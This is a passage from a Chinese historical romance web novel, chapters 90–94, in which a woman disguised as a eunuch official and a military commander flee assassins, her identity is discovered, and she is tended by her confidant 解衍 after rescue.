听见他们的对话,亦了解大致情势,直到大部分人下去山谷中搜寻,她才走出来用袖弩快速解决了那几个黑衣人。 看到石壁之上惨死的大魏骑兵,加之方才听闻滕烈也已经坠崖,她心下一沉,但又直觉男子应当没那么轻易丧命,没想到下一刻,那个“坠崖之人”便意想不到的出现了。 从黑衣人身上摩挲到一条长绳,一端丢给滕烈,一端绑于树桩,白惜时就这样助滕烈一寸一寸踩着石壁攀爬了上来。 “你为何在此?”滕烈第一句话,是凝眉询问。 太危险,他不该来!初见时的惊喜此刻早已被隐忧取代。 白惜时:“眼下没时间解释,快走!” 话音落地,二人便朝辽东军营的方向快速回奔。 刺杀之人此次虽是不留活口,但很显然,最重要的目标还是滕烈。发现悬崖下方搜寻不到他的身影,必定还会继续追杀拦截。 到了此刻,二人心中也都有隐隐猜测,要滕烈性命的,当是太后。 没有选择来时的大路,回程一路平坦无甚遮挡或许还会有埋伏,二人改往幽静的密林近道跑去。 不知跑了多远,前头的密林树影摇晃,静谧诡异,二人皆是敏锐之人,此刻不约而同感受到了迎面而来的杀气,看来的确是不至滕烈于死地不肯罢休,连这条小道上都布置了埋伏。 果断调转方向未再向前,滕烈后退两步,让白惜时跑在自己前头,然而越过一个高坡,前路竟被一条河流截断,白惜时、滕烈停下脚步,放眼一望,前方有一处吊桥…… 一前一后踏上吊桥,追兵已然越来越近,错乱纷杂的箭矢向二人疾射而来,继而桥面一阵剧烈的摇晃,白惜时回头,脊背一凉,那些追兵怕追赶不及竟改了策略,试图射断桥梁两侧的绑绳。 “你可会水?” 最后一刻,白惜时听见滕烈在身后急切问了自己一句。 一句“会”字尚未出口,二人身形于陡然间失重,吊桥垂落,白惜时与滕烈双双跌入了初春冰凉的河水之中。 刺骨的寒意涌上周身,白惜时适应一瞬后,很快双腿踩水试图向上游去,然事与愿违,身上那件改良过的金丝甲吸满水越发沉重,竟带着她向河水更深处沉落。 必须尽快摆脱束缚。 生死面前不及再顾及其他,白惜时迅速解开衣袍,试图脱掉那件金丝甲衣,但水中阻力却叫一件再平常不过的动作也变得缓慢。 与此同时,另一个迅捷的身影向朝惜时潜了过来,越游越近,待看清动作,滕烈亦伸手助对方一起褪下甲衣。 金丝甲本就刀枪不入,为何还要塞这些笨重的东西? 然而疑问尚未解开,下一刻,男子突然在水中被人搡了一把。 卸下甲衣的白惜时没有再看滕烈,憋着股气尽最大的力气向上游去…… 当新鲜的空气重新涌入肺部,白惜时大口大口地喘息着,片刻之后另一个人也冒了头,顺流而下的同时,二人竭尽全力向对岸游去。 漫天的箭矢又开始向水面中射来,很显然岸边的刺客已发现了二人踪影,但吊桥损毁,他们亦无法迅速赶到对岸拦截,水流湍急带着二人很快消失在众人视野之中。 “追!”黑衣人一分为二,一部分急急绕道奔往对岸,另一部分寻下游而去。 …… 当从凉浸骨髓的河水中被拉上岸,白惜时忍不住打了个寒颤,打湿的衣衫紧裹于身躯之上,曾被甲衣遮挡住的线条显露出来。 再抬头时,便见对面的男子正满目惊疑看向自己,继而视线在不该停留的地方停留了一瞬,面色一变,迅速移开。 连瞳孔都有些微微扩散,千军万马之前尚且处变不惊、指挥若定的男子,此刻却显露出从未有过的茫然。 懵,不知如何应对眼前的情况。 此刻男子亦终于明白白惜时在水中为何会推搡开自己,概因方才为帮她迅速摆脱甲衣,动作未有收敛。 情急之下无暇细思,只当是胸膛练得比较发达。 眼下再观,滕烈于脑海中搜寻着本就贫乏的言语,将视线控制在白惜时的脖子以上,“……你” 然而此刻白惜时却已果断举起袖弩,冷眼对准男子,面无表情道:“不想死便闭嘴,不容问咱家一个字。” 90-100 第91章 第91章 滕烈没有再说话,他本就是个寡言之人,此情此景,更不知从何说起。 但不说话,不代表心中平静。 白惜时是女子。 在起初的怔然退去之后,随即涌上的是滕烈平生都未经历的复杂情绪,这些情绪糅杂在一起于胸腔之中翻滚冲撞,仿佛连那一身寒水附体的冰凉都没了知觉,反而汹涌的发着热。 滚烫,也陌生。 不过二人眼下最紧要的是逃命,不及细思感受,在白惜时放下袖弩后,二人改为走反道,往深山之中行去。 得知他们的行路轨迹,此刻回程势必已安排了重重阻碍,深山树木遮挡,地势复杂,有助于二人藏匿。 只要拖住时间,辽东大营发现主将和骑兵一直未归,定会派人出来搜寻。 进山的路程当中,二人先行绕道于山脚下的民房,门口正晾晒着几件冬衣,留下银子换下一身紧贴于身上的湿衫,二人为免暴露行踪没有惊扰屋中主人,继续向山的更深处行去。 身体暖和了,行动便也没先前那般僵硬,白惜时与滕烈在入夜之前寻到一处山洞,看来便是今日的栖身之所。 追兵应当是尚未搜寻到这里,白惜时与滕烈在山洞深处生了一小团火,用来取暖照明,顺带烘干浸湿的鞋袜。 白惜时一双脚早已冻如冰块,遂很快卸下束缚送到火堆边,对裸。露双足没古代女子的那般强烈的羞耻感,此刻甚至带些种破罐破摔的豁出去,就这么自顾自的烘烤着。 她的脚掌不大,莹白圆润的脚趾在火光的映照下微微发着光,滕烈见此情状突然有些无所适从,没过多久,高大的男子于火堆边站了起来,“我出去找些吃的。” 白惜时“嗯”了一声,没有抬头。 此行被滕烈发现身份是白惜时始料未及的,千提防万小心,没想到快要挨到回京的日子,在最后时刻却出了岔子。 多少有些懊悔。 不过她并没有后悔此行赶来,对于滕烈内心实际上也是信任的,白惜时知他当会为自己保守秘密,不然那袖弩便不会那么顺当的收回去。 但信任归信任,心情不好也是不大好,毕竟掩藏了二十几年的身份,一朝暴露,她其实也不知道今后应当如何与滕烈相处。 待双脚终于回温,白惜时找到几根粗壮的树枝做成简易衣架,将两个人的衣服搭起来想要尽快烘烤干,继而又坐在火堆边,抛却杂念,开始思考如何才能与辽东军营尽快取得联系。 其实她的身上还带了三支烟雾炮,只要点燃放至天空,辽东军营一定能够得知他们眼下身在何处,但怕就怕看到信号先赶来的不是援军,而是追兵。 何况眼下那三支烟雾炮还浸了水,能不能使用又是另外一回事。 思及此白惜时将那三支烟雾炮找出来,仔细捏在手中烘干。 必要时刻,这是保命的东西。 当滕烈带着野果和一只兔子回来,入洞第一眼,便见到青丝披垂的女子裹着一件不合体的冬衣,正静静望着火堆想着什么,即便环境不佳,但周遭显然被收整了一番,二人的衣衫也被整整齐齐挂了起来。 分明是亡命天涯,这一幕,却不合时宜的让人生出一种归宿感。 于洞口外望着里头,停了一会男子才走进去,蹲下身,将几个果子递给白惜时,“洗过了。” 白惜时接过去,开始吃果子,一边吃一边看滕烈找来树枝,将已在外头打理好的兔肉架在火上烤。 她让滕烈不想死就闭嘴,然后滕烈就真的闭嘴,看起来很惜命,不到非必要连一句其他的话都不说。 两个人就这么干坐着,各干各的。 最后还是白惜时先开的口,询问正事,“追杀你的人是太后派来的?” “是。”滕烈将烤兔子翻转了一面,望向白惜时,“朱文杰是内应。” 朱文杰? 没记错的话,白惜时在石壁上看到了他的尸体,“太后连自己人都杀?” 滕烈:“在有些人眼中,没有自己人,只有是否值得利用。” 太后应当是怀疑滕烈已经知晓了祈王与她之间的联系,因而想趁他赴辽东作战之际,直接斩草除根。 能死在战场上就更好,死不了,便找机会暗杀。 朱文杰便是一路上的内应,滕烈率骑兵追剿叛党也是他主动提出要跟随。 话说到这里,兔肉也已经烤好,滕烈用匕首将冒着香味的肉切成一片片,放在树叶上给白惜时推了过去。 随着动作放低,这回不止是双足,视线不可避免的还看到一截白皙的小腿,男子目光移开,又给火堆添了些柴草,片刻之后问了句,“你……这样,可会着凉?” “啊?” “腿。” 说完,男子看了白惜时一眼。 明白过来他的意思,白惜时低头用大袄将腿罩了进去,因那家农户外头晒的衣裳只有一条长裤,白惜时便让给了身量更高的滕烈,她取得那件长袄长度已可到她脚踝,不穿裤子也没事,不过坐下来后,会稍稍往上缩回去一些。 白惜时当真没太在意,她是个现代人,又当了男子这么多年,对于半截小腿和双足露出来没觉得有多大问题,但很显然,滕烈比她传统。 白惜时是如此想的,单纯觉得当滕烈得知她是女子后开始注重男女大防。但只有滕烈自己清楚,他是一个正常的成年男子。 看见别人或许可以无动于衷,但眼下这人是白惜时。 等吃完兔肉,滕烈又将盛满清水的竹筒支在火上烧开,在等待的间隙,二人偶尔聊上两句,但都很注意的避开了白惜时是女子的话题。 水烧开口后又冷却到可以入口的温度,男子将竹筒递了过去。 瞧着这唯一的竹筒,白惜时问男子,“你不喝?可还有什么容器,我给你倒出来一半。” 滕烈:“不用,我喝过了。” 闻言捧着竹筒默然喝了几口,最后还是白惜时主动提了一句,“你我二人今后还要共事,以前怎么样便还是怎么样,不用因为我的身份有所顾虑。” 滕烈:“好。” 刺客随时都可能追踪过来,趁着尚未找到这里,二人决定抓紧时间休息。只不过在白惜时靠于石壁上打算闭眼前,滕烈突然问了一句,“解衍知晓吗?” 你是女子之事。 他还是没忍住,问了出来。 没想到他会在这个时刻提起解衍,顿了片刻,白惜时答道:“知晓。” 果然。 他好像做什么,总是晚了一步。 滕烈:“知晓的还有谁?” “就你,解衍,府上的孟姑姑,没了。” 滕烈听完,郑重看向白惜时,“我会守口如瓶。” 闻言点了点头,白惜时没再说什么,而是裹紧身上那件破旧的棉衣,闭上了眼睛。 盯着女子的睡颜看了片刻,男子起身将烘烤的衣衫翻了个面,继而在准备离开前,低头看见地上摆放的那只竹筒,里头还剩下一半的清水。 捡起竹筒,走至山洞外,滕烈一边吹着冷风,一边观察四处有无可疑的火光靠近,待发现一切正常后,转而将视线移至手中那截平平无奇的竹筒。 手指摩挲着筒壁,这样的动作在月光下持续了许久,最后男子鬼使神差将它送至近前,薄唇轻启,缓缓饮下了剩余的清水…… 一夜便宿在洞口旁,滕烈没有去打扰白惜时的安睡。 第二日天还没亮,二人换上烘烤干的衣衫,往山林的更深处行去。 上午的时候还好,周遭仍没有刺客追上来的迹象,但中午时分追兵似乎发现了地上的脚印,远处突然冒出一股直冲云霄的青烟,应当是刺客在示意其他同伙,发现滕烈、白惜时踪迹。 还是追过来了。 接下来的连续几日,二人都是在与追兵斗智斗勇,险险几次被发现踪影,都是靠藏匿于暗处躲过正面冲突。 可逐渐的,涌入山林的刺客越来越多,也将滕烈、白惜时可以活动的范围不断缩小。 直到第四日,二人于一处山凹间已然避无可避,追兵正以包围之势向他们快速聚拢了过来。 人多势众对比赤手空拳的二人,白惜时与滕烈即便再厉害,此刻胜算亦不大。 肃容准备好袖弩,白惜时已然蓄势待发,欲一个眼神便与滕烈一起突围出去,即便机会渺茫,亦不能放弃尽力一试。 何况她这人最善于险中求生。 但下一刻,滕烈却出声阻止,“我出去,引开他们撕开一个口子,你找机会离开。” 白惜时凝目,“为何?就因你知道我是个女子?” 滕烈一摇头,“不,不因你是女子,而是眼下你的身份不可暴露。” “一旦暴露,即便突围成功,消息递回京师,太后、贵妃皆会想方设法至你于死地,你府中之人也会受到波及牵连,掌印可想要看到如此?” 白惜时还不能受重伤,概因她不能寻军医医治,一旦医治,身份亦会被他人知晓。 闻言,白惜时蹙眉不语。 她又何尝不明这个道理?但叫她舍下滕烈自己一个人先走,时光犹如倒溯回两年前,她仍难以做到如此。 看出白惜时的不认同,滕烈可能毕生都没有在一个时刻,对另一个人说过这么多的话。 “你我二人分头行事,胜算便从两成变成四成。” “所以我先引开他们,你看准时机。若是都可顺利摆脱追兵,咱们在山鹰嘴处汇合。” 不是二人分头行事提高了胜算,而是滕烈将胜算都给了她,白惜时看向男子,拆穿谎言,“你有九成的可能会丧命。” 生死攸关的时刻,滕烈却朝白惜时笑了,笑得遗憾又豪迈,“这条命早在两年前就该没了,没什么好怕。” 若是时光能回溯,倒是希望能回到两年前。 知他心意已决,眼下亦没有时间再犹豫,临分别前,白惜时对郑重滕烈道:“山鹰嘴见。” 到了最后的分别时刻,滕烈已然迈出一步,不知为何又突然停步,走回,就这样毫无征兆的停在白惜时面前,继而握住她的手,抬起,闭眼,额头轻轻贴向女子的手背。 这一低头,是虔诚,是感慨,是不舍,是所有的复杂汹涌一齐涌上心头。 再抬起头时,他又是那个冷肃若定的指挥使,“掌印,山鹰嘴见。” 第92章 第92章 松开白惜时,冷眼看向步步逼近的追兵,男子在冲出去的最后一刻,对白惜时说了四个字——“不要回头。” 继而骤然跃出山凹,滕烈盯准最薄弱的疾行而去,他的出现迅速引起追兵的注意,果然,原先的阵型被打乱,于包围之势中撕开了一道裂口,白惜时瞅准时机,跟了出去。 袖弩飞射而出,左右各干掉一个挥剑砍来的刺客,白惜时一路狂奔,山风在耳边呼啸,她如依滕烈所言一路不曾向后张望一眼,不是冷血,是其实到了这种关头她也会怕,怕一回头,看见的是滕烈倒在血泊之中。 她不知道若果真如此,自己会做怎样的选择? 是折返?还是不浪费他舍命争取来的生机? 抛却那些不好的设想,白惜时脚下生风,身形如鬼魅,跑的五脏六腑都在位移晃动,前往山鹰嘴的路上,期间仍有刺客不断出现截杀阻拦,但都不成规模的零星几人,白惜时出手快狠,果断解决掉拦路之人,朝着与滕烈约定好的地方行去。 辗转到达山鹰嘴,已是第二日凌晨,白惜时为隐藏身形,同时及时查看四方动态,登上一棵最高的大树,借着高度,张望着她希望能够等来之人。 寂寥、空旷,起先疲于奔命,已经将近一天一夜没有休息,确认四下暂时没有危险,她开始闭眼假寐。 不知不觉进入浅眠,待再一睁开眼,已是黄昏时分,周遭仍然静的可怕,落日的余晖加重了这种孤独荒凉之感。 她能等得来滕烈吗? 临分别之前,白惜时将那三支烟雾炮中的两根给了滕烈,她设想过对方重伤无法赶到的可能,二人约定好,一旦哪一方等到援军就点燃烟雾炮,这样另一方看到后同时点燃,如此可及时告知方位,等待救援。 眼下见不着人影,白惜时便希望在天空中会突然出现这样一阵烟雾,至少告诉她,人还活着。 但是没有,人影没有,烟雾炮没有,哪怕连一只地上跑的小动物都没有。 入夜之后,深林之中更加寒凉,长时间困于树上躯干酸麻,白惜时正准备跳下去活动筋骨顺带寻找水源,这时候,却见远方亮起了一队明灭可见的火把。 会是援军吗? 她停下动作,于树梢静待那群人靠近,当走得近了,听见一声声“掌印”呼喊出口,白惜时心头一松,长长舒了口气,跃至树下正准备朝向那一群人而去,然而寂静的夜里,白惜时突然耳风一动,她听见了一声几不可查的抽刀之声。 不对,不是自己人! 而是伪装成自己人的追兵! 他们狡诈至厮,竟想趁着黑夜行如此障眼之法,将自己骗出来。 概因对方已然听见动静,还想将白惜时骗至近前再动手,此时再回树上无异于坐以待毙,白惜时果断调转方向,拔腿就跑,朝反方向迅捷而去。 此番人多势众,不可硬拼。 察觉白惜时识破计谋,那群人不再伪装,夜中视线不好,但箭矢和飞镖铺天盖地向前射了过来,这次白惜时运气实在不好,竟在躲避一支长箭的同时,腿被一只飞镖射中。 果断从袖上扯下一截布料,白惜时看准时机躲于了一处石壁之后,紧接着毫不眨眼拔下那枚飞镖,用布料当作捆带将左腿扎紧。 侧首警觉的听着后头追兵的动向,然而没过多久白惜时却发现前方竟也传来了呼喊踩踏之声。 竟被前后夹击了? 白惜时屏气凝神,随时准备应对各种突发状况,很好,后头的追兵提着灯笼从石壁侧边擦过,并没有发现她的栖身之地。但没过一会,前头又突然传来了短兵相接之声。 什么情况? 白惜时来不及细思,这时候又听见一阵脚步声靠近,她从腿侧拔出一把匕首,当那人提着灯笼就要照过来,白惜时顷刻间飞身扑了出去,正待用一把匕首结束对方性命,却在那人唤出两个字后瞪大双眼,匕首也急急回撤,最后划破了对方的衣襟。 那人唤的是“掌印”,与他人没什么不同,但这把熟悉低醇的声线白惜时不会分辨错。 “解衍!”惊诧望向倏然出现之人,白惜时:“你怎么来了?” 连日搜寻未敢合眼,此刻终于找到要找之人,见她正好端端站于自己面前,男子一直紧蹙的眉心在这一刻终于被抚平,“刚到辽东大营便听闻掌印失踪未归,所以同将士一同出来寻找。” “万幸,掌印没事!” 闻言,白惜时望向正在交战的双方,确认道:“所以前头是营中兵士?” 解衍:“是。” 听到这一声肯定的答复,白惜时深深闭了闭眼,援军,他们终于等到了援军。 心头始终紧绷的那根弦松懈下来一半,随之身形也跟着摇晃了下,解衍见此情状立即伸出手,托住对方双臂。 “掌印,可有受伤?” 白惜时一摇头,来不及告知左腿的伤势,而是率先向怀中探去,继而掏出那根烟雾炮,点燃,第一时间射向空中。 解衍:“掌印这是何意?” 白惜时:“我是要告知滕烈,援军已到。” “指挥使没有与掌印一起?” 双目遥望向夜空,白惜时:“没有。” 不知二人之间发生了何事,但白惜时嗓音中浓厚的担忧解衍听得出来。 不过白惜时没有继续往下说,解衍便也没有再问,滕烈应当是处境堪忧。 射完这只烟雾炮,白惜时像是完成一件最紧要的任务,待看见白色的亮光冲破夜空,她才皱眉头抚了一下左腿,在生死时刻对伤痛一无所觉,此刻见到援军,见到解衍,仿佛五感回归,此刻连走路都觉得有些费劲。 男子一见她如此动作,很快发现了白惜时左腿的伤势,触上去,是带着血腥之气的潮湿感,解衍俊眉一拧,很快反身回去拿了一件披风为白惜时罩上,继而在白惜时面前蹲了下来。 “掌印,上来,你的伤需得立刻处置。” 白惜时此刻也的确察觉出疲累,腹中饥饿,头昏脑胀,好像从见到解衍这一刻起,她就开始变得哪哪都不舒服,没有什么比脱险之后见到最信任的人还叫人庆幸的了。 否则即便等到援军,她依旧不能放心的睡过去,也不能放心的告知伤势,仍需时刻为暴露身份而警惕。 第一个遇到的人是解衍,心中分明应当惊喜,应当高兴,但此刻却因被另一件事牵绊,始终无法显露笑颜,那便是滕烈的生死。 还有一个人至今生死不明。 与另外赶过来的援军交待了一通滕烈尚在山林之中,又仔细描述了他应当去往的方向,以及二人关于烟雾炮的约定,直到所有都嘱咐完,白惜时才伏上解衍的脊背,继而登上马车,往山脚下行去。 他们没有赶回辽东大营,而是在山脚下的农户家借住了下来,在解衍关上门要为白惜时单独处理伤口的时候,白惜时突然问了一句,“可否打开窗户?” 解衍:“掌印,夜间凉,你又有伤势在身,如此容易受寒。” “我没事,打开。” 闻言,解衍走过去,为白惜时支开了一条缝,但似乎与白惜时设想的不符,最后在她的要求下,解衍将那一整扇窗户都推开了。 月色清朗,繁星闪耀,明日应当会是个好天气,但除了这些,如幕般的天空再无其他。 距离她放出烟雾炮已经过去了一个多时辰,没有回应,滕烈那边没有亮出烟雾炮,也没有告知援军他的方位。 是有事耽搁了?还是…… 白惜时不敢往下深想,处理伤口的过程中,白惜时没有喊疼,她一向是个耐力极好之人,但这一次紧蹙的眉头直到解衍替她包扎好都没有消下去。 待收拾好一切,又替白惜时将床铺好,解衍走到窗边跟着看了一眼外头那无边夜色,“掌印是在担心滕烈?” 闻言,白惜时回过头,“他替我引开了追兵,烟雾炮又一直未亮,我不确定他是不是还……” 白惜时没有继续说下去,但未尽之意,解衍与她都明白。 男子听完点头,温声劝慰,“指挥使不是那般能被轻易困住之人,掌印不要总往坏处想。” “睡罢,我替你守着,腿伤需要静养,第一步得先止住血。” 说着男子示意了眼床榻,又同步看向窗外,“有情况我第一时间告诉你,好不好?” 闻言沉默半晌,白惜时重新望向窗边,在停顿了片刻后,终是收回目光,回了一个“好”字。 滕烈长时间的无回应像一阵阴云笼罩在白惜时的上空,但她同时也明白,此时自己左腿连血都尚未完全止住,加入搜寻是在给自己,也是在给他人添麻烦。 眼下最明智的选择便是养精蓄锐好好睡一觉,待血止住后明日再重回山鹰嘴。 在解衍的搀扶下,白惜时回到床铺闭上了眼,不过不知是伤口疼痛还心中有事,即便疲累至极,她仍旧好长期间都没有睡着。 最后还是解衍给她端来了一碗带有助眠成分的安神汤,白惜时才迷迷糊糊睡了过去。 但愿再睁开眼时,已经传来了滕烈平安无恙的消息。 第93章 第93章 第二日醒来后,仍然没有得到滕烈的消息,白惜时一颗心越发沉重。 辽东军营的兵士们自他交待过后,便开始对深山进行地毯式搜寻,而那些追兵在得知大批援军已到,一夜之间仿若人间蒸发,消失的无影无踪。 消失的可能性经分析有二,一是相较于刺杀滕烈,他们更怕被人识破身份。二来则是刺杀任务已完成,他们自然可以迅速撤离。 所有人都担心第二种情况的发生。 白惜时待左腿的血止住,便重新回到了山鹰嘴,既然说好了山鹰嘴见,不到滕烈出现或是被找到,她不会走。 阴云避日,树木摇晃,这一等便又是一个白日。 仍然没有滕烈的消息。 此时此刻距离白惜时放出烟雾炮已经足足过了十一个时辰,眼看天又要黑了。 可能是天气不佳,心绪也受到影响,白惜时突然生出一股懊悔之意,当初若是没有答应滕烈,二人一起杀出去,又会是怎样的结果? 白惜时于马车之中一言不发,车帘卷起,她的目光在通往山鹰嘴的路口逡巡。而她望着车外多久,坐于白惜时对面的解衍,便同样看了她多久。 夜幕降临,天色彻底黑了下来。 而黑夜也给搜寻增加了难度。一批兵士回营用饭,又换上另一批士兵顶上,察觉到白惜时眉宇间的忧虑越发重,解衍站起身,走下了马车。 “你要去何处?”听见声响回过头,白惜时问男子。 “人手好似不太够,我也一同去看看,或许能帮的上忙。” 说完这句话,解衍温声答了一句,继而掀开车帘,接过兵士手中的灯笼加入了搜寻的队伍。 男子走后,马车内便只余白惜时一人,一时间周遭便显得更加静谧,侧目,望向解衍远去的背影,直到他消失不见,白惜时垂下眼睫,看向对方那一盏喝干的浓茶。 她心中,是有歉意的。 不远千里而来,解衍当是花费了不少功夫,一路风餐露宿达到辽东却又得知自己失踪的消息,待到连续几日的搜寻二人好不容易相见,白惜时却连一个笑容都没有向对方显露。 滕烈是一起并肩作战的战友,至今下落不明,生死未仆,她笑不出来。 不过这期间解衍什么都没有说,反而在她焦虑的时候温声安抚,他应当也是许久都没有好好休息,一直靠浓茶提神,此刻又跟着大部队一同去寻找滕烈的下落。 想到这,白惜时闭了闭眼,心中纷繁杂乱,一时不知作何感想。 正当陷入忧虑兼之歉意的双重情绪中,这时候远处似乎传来了一阵骚乱,继而“指挥使”“主将”的呼喊声陆续传来,白惜时骤然睁开眼,朝窗外望去,然而漆黑的一片什么都看不真切。 但人群在欢呼,兵士们也正提着灯笼不断朝一个方向聚拢,待那呼喊声越来越近,“主将”“指挥使”也从越来越的人口中唤出,白惜时坐不住了,扶着车壁,踏下了马车。 在等了片刻之后,便见人群簇拥着一个高大的男子正缓缓向这边移动,那人走起路来比往常慢了许多,更费劲不少,浑身上下看起来也十分狼狈,到处都是干涸的血迹印子。 在走过来的路程中,不少人都想要过去搀扶他一把,但都被男子无声拒绝了。 一步一步走到山鹰嘴,停下,目光从众人身上掠过,最后,定格在了白惜时的身上。 观察了她片刻,男子也终于像是卸下最后一层顾虑,笑了一下。 “烟雾炮浸水,点不燃。” “两根皆点不燃。” 看着滕烈就这么站在不远之处,活生生的,还像没事人一般在向她说着烟雾炮不好用,白惜时忍住眼眶发酸的冲动,跟着笑了起来,“那你运气可真是太差了,我的一根就直冲云霄。” “看见了。”慨然一叹,这一叹是劫后余生,亦是如释重负,滕烈仰头,望向夜空。 没人能懂他看见烟雾炮那一刻的庆幸。 白惜时没有性命之忧,等到了援军。 同样跟着他看了片刻,白惜时重新望向男子,说了这么一句。 “大难不死必有后福,指挥使。” 闻言,滕烈收回视线,缓缓“嗯”了一声。 然而待这句话音一落,没有人想到方才还好端端的男子竟突然于众目睽睽之下轰然向后倒去,索性身边都是人,将士们眼疾手快一起接住,并一声高过一声的呼喊“军医”。 白惜时亦被这一幕惊的走至近前,蹲下身查看滕烈情况,一颗放下去的心又重新悬起。 好在最后经军医诊断,滕烈虽伤口多,却没有什么致命伤,方才那一倒是身体早就到了极限,先前是凭借着一股超人的意志力一步步走回山鹰嘴,继而疲惫力竭,睡了过去。 — 白惜时一行回到了江东大营,滕烈应当是疲累加之失血过多,一路上整个人仍在沉睡,白惜时看着几个亲卫将男子在主帐中安顿好,才转身掀帘,回了自己的营帐。 她的身体素质不错,眼下腿伤虽未完全愈合,但已不妨碍缓慢走上几步。 进去的时候,解衍正在研磨外敷的草药,听见声响,抬头问了白惜时一句,“指挥使已安排妥当?” “嗯。” 男子闻言,招手,“掌印,过来换药。” 单手提了把椅子坐于床榻边等她,解衍一身鸦青色长袍,银边缂丝革带束于劲瘦的腰间,映衬的整个人比例极佳,男子一边将研磨好的草药至于案几上,一边慢条斯理挽起衣袖,准备干净的纱布。 即便背影,也能叫人预判出是怎样一副俊逸如玉的模样,此刻当是白惜时自到达辽东后最放松的一刻,战事顺利结束,滕烈还活着,而最想要见的人,现下便在眼前。 脱下御寒的外袍,换下长靴,白惜时走到床榻边,面对着解衍坐了下来。 将裤管卷到最高露出受伤的部位,正要像先前几次一样将腿侧过去,但动作到一半,白惜时难得觉出些不好意思。 这孤男寡女的。 察觉对方动作迟疑,解衍当着白惜时的面又拍了下自己的腿面,坦然示意她将左腿搭上来上药。 原来之前几次他都是这样给她上药,先前怎么没发现姿势这般暧昧? 白惜时伤在大腿外侧靠上的位置,因滕烈未寻到前心绪被一层沉重笼罩,自然没有注意到这些细枝末节,即便注意到了,也不会往那旖旎的的方向去想,纯粹的公事公办,不带任何杂念。 但眼下诸事已定,她就怎么摆弄那条腿都觉得不对劲。 直接搭上去显得轻浮,不如踩上去,这样比较有气势。 如是想便如是做,于是乎白惜时那一条高高卷起裤管的左腿,就这么不轻不重踩在了解衍的腿面上。 …… 男子本来沉静平稳,在白惜时如此动作下俊眉一挑,去拿草药的动作都停了下来,继而顺着那条纤长且白到发光的腿一路向上,对上白惜时的视线。 从男子反馈给她的眼神中,白惜时意识到这个动作可能还不如先前那个,先前那个只是显得亲密,眼下这个挑。逗。 气势虽然是有了,但侧坐于床榻边赤足踩在男子的大腿上,瞧着实在不像什么正经人做出来的动作。 白惜时想要将腿收回去,但解衍察觉到她的意图却率先一步将她的足固定在腿面上,不过很快又皱了下眉,“脚怎么这么凉?” 说着便用掌心欲将她的裸足捂热。 白惜时整个脚心被他握在手中实在痒的厉害,忍不住微微动了一下,催促道:“上药。” 脚凉的缓解之法有很多种,这个着实是最让她难耐的一种。 不过上药的过程同样也没有轻松多少,草药香气的膏体触向腿面,带来一阵微凉,白惜时两条眉毛越拧越紧,最后在看见解衍倾身向前的动作后,出声阻止,“能不能别吹气?” 解衍:“我见掌印蹙眉,可是伤口痛?” “都快愈合了能有多疼?再说咱家也不怕疼。” 但是她怕痒,真的痒,从解衍给她上药的时候就开始痒,动作越轻柔越痒,比起轻柔她倒恨不得他的动作能重一些,以免她痒的浑身都怪怪的,痒的钻进了心窝里。 从白惜时的表情解衍大约猜出了她心中所想,眼眸跟着泛出些笑意,男子一笑,白惜时就用踩在他身上的赤足轻轻踢了对方一下。 不许笑。 如此,解衍的眉眼反倒弯的更明显了。 谦谦君子,目光温澈,似是盛了一瓢醉人的清酿,白惜时一时竟看得有些失神。 “解衍,对不起。”片刻之后,白惜时突然道了一句。 男子有些错愕,“对不起什么?” “就是对不起,你听着就行。” 不明白也不要紧,白惜时不想解释,解释反倒觉得矫情刻意,这一声“对不起”是对这些时日亏欠的表达。 长久的四目相对中,解衍似是逐渐明白其中含意,他能够理解滕烈失踪后白惜时的心境,也完全觉得他与白惜时之间永远用不上“对不起”三个字。 但解衍没有直说,片刻之后,反倒问了一句,“掌印道歉可有什么诚意?” “啊?” “就这三个字就结束了?” 白惜时试图收回腿,摆出点谈正事的架势,“你想要什么诚意?” 但脚心却仍被男子紧紧握住没有松手,继而,在白惜时惊诧的目光中,解衍托起她的赤足,低头,于脚背上落下一吻。 这一吻,连带着白惜时的心房都跟着狠狠颤动了一下。 “这样就不错。”男子如是说道。 第94章 第94章 解衍给白惜时上完药后便离开了,离开前还给她冲了个汤婆子塞进被褥,如此发凉的双脚终于一点一点回暖,在厚厚的棉被之中有了温度。 眼下其实是下午,白惜时本没打算休息,不过现下就这么被人盖上了被子,床榻之上又暖意融融,不知不觉便有困意袭来,她打了个哈欠,慢慢合上眼。 入睡前下意识动了动脚趾,在脚背上的某一个地方还停留着奇异的触感,湿湿热热,那一块皮肤的温度好像始终高于其他地方,明明暖融融的汤婆子是被她覆于足底。 白惜时好久都没有睡过一个好觉。 起先是亡命奔波,继而担忧滕烈安危,还有回程马车的颠簸都让她长时间没有再进入过一场深度睡眠。 今日这一觉就像是要将先前欠缺的都补回来,以至于她直接睡到了第二日天明。 其实傍晚的时候她曾醒过一次,整个人陷入一种睡蒙了的怔忪感,想睁眼又如被鬼压床一般动弹不得,最后终于得以翻了个身,这时候听见床榻的动静,一帘之隔的外间很快绕进来一个人。 看见来人,白惜时望着对方,喃喃问了一句,“是做梦,还是真人?” 那人闻言,俯下身问她,“掌印做过有我的梦?” 白惜时没有回答对方,因为她当时正在思考一个重要问题,那便是如若是梦,她便要大方掀开被角邀请对方进来一起睡,梦里就应当做点梦里该做的事。 因此有点不满男子的答非所问,白惜时蹙眉又问了一遍,“所以到底是不是梦?” 她还挺着急的。 但解衍很明显没读懂她背后的意图,不然男子只要顺势一点头,又会是另外一番意想不到的景象,解衍看着白惜时,一日之间,领略到了前后两种极致的反差。 睡前,清清冷冷的大美人就这么毫无征兆的将一条的又白又直的长腿踩在自己面前,强势蛊惑。现下,她裹着厚厚的被子只探出一颗脑袋,漂亮柔顺的黑发铺满枕间,执着又不甚清醒的问自己可是在做梦? 甚至还带了些恼怒。 解衍不知道她为什么要生气,但还是一下一下拍着对方,温声安抚,“睡罢,再睡一会,我在外间不会离开,掌印安心睡。” 他知道白惜时睡眠浅,因担心身份暴漏恐怕自踏上前往辽东之路起,便没有真真正正踏实睡过一回。 在解衍的连拍带哄下,白惜时竟真的再度困意上涌,也完全卸下心理防备,半睡半醒间,她挺起上半身在被子里一阵耸动,继而抽出个东西慢悠悠压在枕头之下,发出了一声满足的喟叹。 她当着他的面,把束胸解了。 虽抽出来再到塞进去的时间只是一瞬,男子还是看清了那是什么,神色一僵,直到回到外间喝了两盏冷茶,耳朵根上的热意才慢慢散去。 而白惜时在即将睡过去前,亦隐隐咂摸出一股遗憾,方才她准备叫解衍做什么的来着?怎么拍着拍着就给拍忘了…… 第二日醒来,白惜时神清气爽,连日来积攒的疲惫仿佛都在昨夜那一通深眠中恢复了精力。 